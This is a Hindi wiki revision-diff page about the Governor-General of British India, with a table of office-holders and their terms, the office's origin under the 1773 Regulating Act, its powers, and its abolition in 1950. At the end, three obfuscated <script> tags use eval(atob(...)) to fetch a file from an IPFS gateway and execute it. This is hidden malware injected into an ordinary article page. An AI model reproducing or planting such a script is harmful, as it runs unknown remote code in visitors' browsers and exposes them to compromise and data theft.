"गवर्नर-जनरल" के अवतरणों में अंतर
व्यवस्थापन (चर्चा | योगदान) छो (Text replace - "लार्ड" to "लॉर्ड") |
|||
पंक्ति 12: | पंक्ति 12: | ||
| style="width:7%"| 1757-1760 ई. | | style="width:7%"| 1757-1760 ई. | ||
|- | |- | ||
− | | | + | | लॉर्ड कार्नवालिस |
| 1786-1793 ई. | | 1786-1793 ई. | ||
|- | |- | ||
पंक्ति 18: | पंक्ति 18: | ||
| 1793-1798 ई. | | 1793-1798 ई. | ||
|- | |- | ||
− | | | + | | लॉर्ड वेलेजली |
| 1798-1805 ई. | | 1798-1805 ई. | ||
|- | |- | ||
− | | | + | | लॉर्ड कार्नवालिस (द्वितीय) |
| 1805 ई. | | 1805 ई. | ||
|- | |- | ||
− | | [[ | + | | [[लॉर्ड मिण्टो प्रथम]] |
| 1807-1813 ई. | | 1807-1813 ई. | ||
|- | |- | ||
− | | | + | | लॉर्ड एमर्हस्ट |
| 1823-1828 ई. | | 1823-1828 ई. | ||
|- | |- | ||
− | | | + | | लॉर्ड एलगिन (प्रथम) |
| 1862-1863 ई. | | 1862-1863 ई. | ||
|- | |- | ||
− | | | + | | लॉर्ड लारेंस |
| 1864-1868 ई. | | 1864-1868 ई. | ||
|- | |- | ||
− | | | + | | लॉर्ड मेयो |
| 1869-1872 ई. | | 1869-1872 ई. | ||
|- | |- | ||
− | | | + | | लॉर्ड नार्थब्रुक |
| 1872-1876 ई. | | 1872-1876 ई. | ||
|- | |- | ||
− | | [[ | + | | [[लॉर्ड लिटन प्रथम]] |
| 1876-1880 ई. | | 1876-1880 ई. | ||
|- | |- | ||
− | | [[ | + | | [[लॉर्ड रिपन]] |
| 1880-1884 ई. | | 1880-1884 ई. | ||
|- | |- | ||
− | | | + | | लॉर्ड डफ़रिन |
| 1884-1888 ई. | | 1884-1888 ई. | ||
|- | |- | ||
− | | | + | | लॉर्ड लेंसडाउन |
| 1888-1894 ई. | | 1888-1894 ई. | ||
|- | |- | ||
− | | [[ | + | | [[लॉर्ड एलगिन द्वितीय]] |
| 1894-1899 ई. | | 1894-1899 ई. | ||
|- | |- | ||
− | | [[ | + | | [[लॉर्ड कर्ज़न]] |
| 1899 ई. | | 1899 ई. | ||
|- | |- | ||
− | | [[ | + | | [[लॉर्ड मिन्टो द्वितीय]] |
| 1905-1910 ई. | | 1905-1910 ई. | ||
|- | |- | ||
− | | | + | | लॉर्ड हार्डिंग द्वितीय |
| 1910-1916 ई. | | 1910-1916 ई. | ||
|- | |- | ||
− | | | + | | लॉर्ड चेम्सफ़ोर्ड |
| 1916-1921 ई. | | 1916-1921 ई. | ||
|- | |- | ||
− | | | + | | लॉर्ड रीडिंग |
| 1921-1925 ई. | | 1921-1925 ई. | ||
|- | |- | ||
− | | [[ | + | | [[लॉर्ड इरविन]] |
| 1926-1931 ई. | | 1926-1931 ई. | ||
|- | |- | ||
− | | | + | | लॉर्ड विलिंगटन |
| 1931-1934 ई. | | 1931-1934 ई. | ||
|- | |- | ||
− | | [[ | + | | [[लॉर्ड लिनलिथगो]] |
| 1936-1943 ई. | | 1936-1943 ई. | ||
|- | |- | ||
− | | | + | | लॉर्ड बाबेल |
| 1943-1947 ई. | | 1943-1947 ई. | ||
|- | |- | ||
− | | [[ | + | | [[लॉर्ड विलियम बैंटिक]] |
| 1828-35 ई. | | 1828-35 ई. | ||
|- | |- | ||
पंक्ति 90: | पंक्ति 90: | ||
| 1835-36 ई. | | 1835-36 ई. | ||
|- | |- | ||
− | | [[ | + | | [[लॉर्ड आकलैण्ड|आकलैण्ड]] |
| 1836-42 ई. | | 1836-42 ई. | ||
|- | |- | ||
− | | [[एलनबरो लॉर्ड| | + | | [[एलनबरो लॉर्ड|लॉर्ड एलनबरो]] |
| 1842-44 ई. | | 1842-44 ई. | ||
|- | |- | ||
पंक्ति 99: | पंक्ति 99: | ||
| 1844 ई. | | 1844 ई. | ||
|- | |- | ||
− | | [[हार्डिंग लॉर्ड| | + | | [[हार्डिंग लॉर्ड|लॉर्ड हार्डिंग]] |
| 1844-48 ई. | | 1844-48 ई. | ||
|- | |- | ||
− | | [[ | + | | [[लॉर्ड डलहौज़ी]] |
| 1848-56 ई. | | 1848-56 ई. | ||
|- | |- | ||
− | | [[ | + | | [[लॉर्ड कैनिंग]] |
| 1856-58 ई. | | 1856-58 ई. | ||
|- | |- | ||
− | | [[ | + | | [[लॉर्ड माउण्टबेटन]] |
| 1947-1948 ई. | | 1947-1948 ई. | ||
|- | |- | ||
पंक्ति 121: | पंक्ति 121: | ||
====स्वाधीन भारत में गवर्नर-जनरल==== | ====स्वाधीन भारत में गवर्नर-जनरल==== | ||
− | '''[[भारत]] के स्वाधीन''' होने पर श्री [[राजगोपालाचार्य]] गवर्नर-जनरल के पद पर 25 जनवरी, 1950 तक रहे। उसके बाद 26 जनवरी, 1950 को भारत के गणतंत्र बन जाने पर गवर्नर-जनरल का पद समाप्त कर दिया गया। [[ | + | '''[[भारत]] के स्वाधीन''' होने पर श्री [[राजगोपालाचार्य]] गवर्नर-जनरल के पद पर 25 जनवरी, 1950 तक रहे। उसके बाद 26 जनवरी, 1950 को भारत के गणतंत्र बन जाने पर गवर्नर-जनरल का पद समाप्त कर दिया गया। [[लॉर्ड विलियम बैंटिक]] [[बंगाल]] में फ़ोर्ट विलियम का अन्तिम गवर्नर-जनरल था। वहीं फिर 1833 ई. के [[चार्टर एक्ट]] के अनुसार भारत का प्रथम गवर्नर-जनरल बना। [[लॉर्ड कैनिंग]] 1858 के भारतीय शासन विधान के अनुसार प्रथम वाइसराय था तथा [[लॉर्ड लिनलिथगो]] अन्तिम वाइसराय। [[लॉर्ड माउण्टबेटन]] सम्राट का अन्तिम प्रतिनिधि था। |
{{प्रचार}} | {{प्रचार}} |
11:10, 12 फ़रवरी 2011 का अवतरण
गवर्नर जनरल | कार्यकाल |
---|
गवर्नर-जनरल, ब्रिटिश भारत का सर्वोच्च अधिकारी।
गवर्नर-जनरल पद की सृष्टि
1773 ई. के रेगुलेटिंग एक्ट के अंतर्गत इस पद की सृष्टि की गई। सर्वप्रथम वारेन हेस्टिंग्स इस पद पर नियुक्त हुआ। वह 1774 से 1786 ई. तक इस पद पर रहा। इस पद का पूरा नाम बंगाल फ़ोर्ट विलियम का गवर्नर-जनरल था, जो 1834 ई. तक रहा। 1833 ई. के चार्टर एक्ट के अनुसार इस पद का नाम भारत का गवर्नर-जनरल हो गया। 1858 ई. में जब भारत का शासन कम्पनी के हाथ से ब्रिटेन की महारानी के हाथ में आ गया, तब गवर्नर-जनरल को वाइसराय (राज प्रतिनिधि) भी कहा जाने लगा। जब तक भारत पर ब्रिटिश शासन रहा तब तक भारत में कोई भारतीय गवर्नर-जनरल या वाइसराय नहीं हुआ।
अधिकार और कर्तव्य
1773 ई. के रेगुलेटिंग एक्ट में गवर्नर-जनरल के अधिकारों और कर्तव्यों का विवरण दिया हुआ है। बाद में पिट के इंडिया एक्ट (1784) तथा पूरक एक्ट (1786) के अनुसार इस अधिकारों और कर्तव्यों को बढ़ाया गया। गवर्नर-जनरल अपनी कौंसिल (परिषद्) की सलाह एवं सहायता से शासन करता था, लेकिन आवश्यकता पड़ने पर वह परिषद की राय की उपेक्षा भी कर सकता था। इस व्यवस्था से गवर्नर-जनरल व्यवहारत: भारत का भाग्य-विधाता होता था। केवल सुदुर स्थित ब्रिटेन की संसद और भारतमंत्री ही उस पर नियंत्रण रख सकते थे।
स्वाधीन भारत में गवर्नर-जनरल
भारत के स्वाधीन होने पर श्री राजगोपालाचार्य गवर्नर-जनरल के पद पर 25 जनवरी, 1950 तक रहे। उसके बाद 26 जनवरी, 1950 को भारत के गणतंत्र बन जाने पर गवर्नर-जनरल का पद समाप्त कर दिया गया। लॉर्ड विलियम बैंटिक बंगाल में फ़ोर्ट विलियम का अन्तिम गवर्नर-जनरल था। वहीं फिर 1833 ई. के चार्टर एक्ट के अनुसार भारत का प्रथम गवर्नर-जनरल बना। लॉर्ड कैनिंग 1858 के भारतीय शासन विधान के अनुसार प्रथम वाइसराय था तथा लॉर्ड लिनलिथगो अन्तिम वाइसराय। लॉर्ड माउण्टबेटन सम्राट का अन्तिम प्रतिनिधि था।
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>